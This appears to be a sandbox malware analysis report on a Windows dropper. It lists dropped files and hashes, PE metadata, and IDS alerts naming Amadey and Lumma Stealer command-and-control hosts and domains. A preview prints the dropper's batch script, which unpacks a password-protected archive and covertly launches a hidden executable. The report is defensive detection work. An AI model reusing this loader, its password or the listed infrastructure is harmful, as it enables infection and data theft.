SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Reputation:	unknown
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4412399701772323
Encrypted:	false
SSDEEP:	6:LXudVX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lMydt0:L+T7BQ1CGAFBZgtV9t0
MD5:	8F5E5EEEE2F8FA886FD2253D2C416C8E
SHA1:	8574189EFA3E7E433F69BF7F25A48A7CA4FDDCFD
SHA-256:	1DDB41F31AE6470325CB9E07BF60A874632DD3C9FA49DEBA98366D0C7EDA4FA8
SHA-512:	90B94E249D04596BACBEAA1C5B6E8FD407E0E9C48D915DBFFD9C41CBC8B82DDF1C17367A73E2FCCF5742F0633E97DBADE51BA14D118E20DBCA58CC010FA46D8D
Malicious:	false
Reputation:	unknown
Preview:	.....Gx....J.1.....F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372272935843656
Encrypted:	false
SSDEEP:	6144:ZFVfpi6ceLP/9skLmb0oyWWSPtaJG8nAge35OlMMhA2AX4WABlguNUiL:PV1OyWWI/glMM6kF7Gq
MD5:	ED6087409922FA3DD0403584BB529CC4
SHA1:	91C9A7455D3226884F0BB2CCEFC479E64B86AA45
SHA-256:	2FA07FED27515C4B0020027D59BE9C90B628AB3D079FD692E95891925410E0F3
SHA-512:	1F742883909FD1BAF7B7BFCE3E94C379268EB3390D531140EFD2630A83F62366CED44BDFF610EA9D0897E93C5366AD00815F29E7EB0363DB46F7D85CA3E61385
Malicious:	false
Reputation:	unknown
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....O..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Reputation:	unknown
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.546290052625903
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'998'784 bytes
MD5:	657b1d5bada53a94c7eb16a8f6780aef
SHA1:	3f913ed5ca66f8d29d2ea004792ba71fd3b157bc
SHA256:	091bc5705ea1f8127db8f1d53c883ba04b79afb04bece4f90c73d1311c546ade
SHA512:	7d3c5072fd4f5a3d542028798dddce15d0cf8c4a682c897d9075a8a825739842320bea82592ff9fbdc977519e5f933e8e78ac203b2c8d67ae5de62ae414cb4a9
SSDEEP:	49152:zG+JsK+1+7eu5B7x+DBPdkR/QkQJYVHgwLrNIX:zG+Jskeu5nknkNnRHNI
TLSH:	50D54BD6A409A5CBE0CF13B4982BCE8AB95D06B9472148C3D82D64F97EB3DC116F9D34
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x717000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD724E730AAh
push fs
sub eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x315564	0x10	diabzkav
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x315514	0x18	diabzkav
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	27d1df43137c06be718738aaf9c15b9d	False	0.998451336852861	data	7.986948480140589	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
diabzkav	0x6b000	0x2ab000	0x2aa600	02bb4f0f80e38843c91e0b86b76ab0e1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eighdbaz	0x316000	0x1000	0x600	eab4b96a8bc5a61c8f5aec04cc14398b	False	0.5651041666666666	data	4.995750099115894	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x317000	0x3000	0x2200	4a4948cb22cd08649ece22f177ae8f89	False	0.06721047794117647	DOS executable (COM)	0.7114622590092118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T17:02:05.157865+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49706	185.215.113.43	80	TCP
2024-12-16T17:02:09.619201+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49708	31.41.244.11	80	TCP
2024-12-16T17:02:19.244117+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49707	TCP
2024-12-16T17:02:20.584891+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49711	185.215.113.43	80	TCP
2024-12-16T17:02:22.032885+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49712	31.41.244.11	80	TCP
2024-12-16T17:02:32.895986+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49715	185.215.113.43	80	TCP
2024-12-16T17:02:34.347267+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49717	31.41.244.11	80	TCP
2024-12-16T17:02:39.576447+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49728	185.215.113.43	80	TCP
2024-12-16T17:02:41.058417+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49730	31.41.244.11	80	TCP
2024-12-16T17:02:41.536213+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.8	62524	1.1.1.1	53	UDP
2024-12-16T17:02:41.536213+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.8	62524	1.1.1.1	53	UDP
2024-12-16T17:02:41.849271+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.8	64539	1.1.1.1	53	UDP
2024-12-16T17:02:41.849271+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.8	64539	1.1.1.1	53	UDP
2024-12-16T17:02:42.458914+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.8	63301	1.1.1.1	53	UDP
2024-12-16T17:02:42.458914+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.8	63301	1.1.1.1	53	UDP
2024-12-16T17:02:42.689370+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.8	54193	1.1.1.1	53	UDP
2024-12-16T17:02:42.689370+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.8	54193	1.1.1.1	53	UDP
2024-12-16T17:02:42.918495+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.8	62196	1.1.1.1	53	UDP
2024-12-16T17:02:42.918495+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.8	62196	1.1.1.1	53	UDP
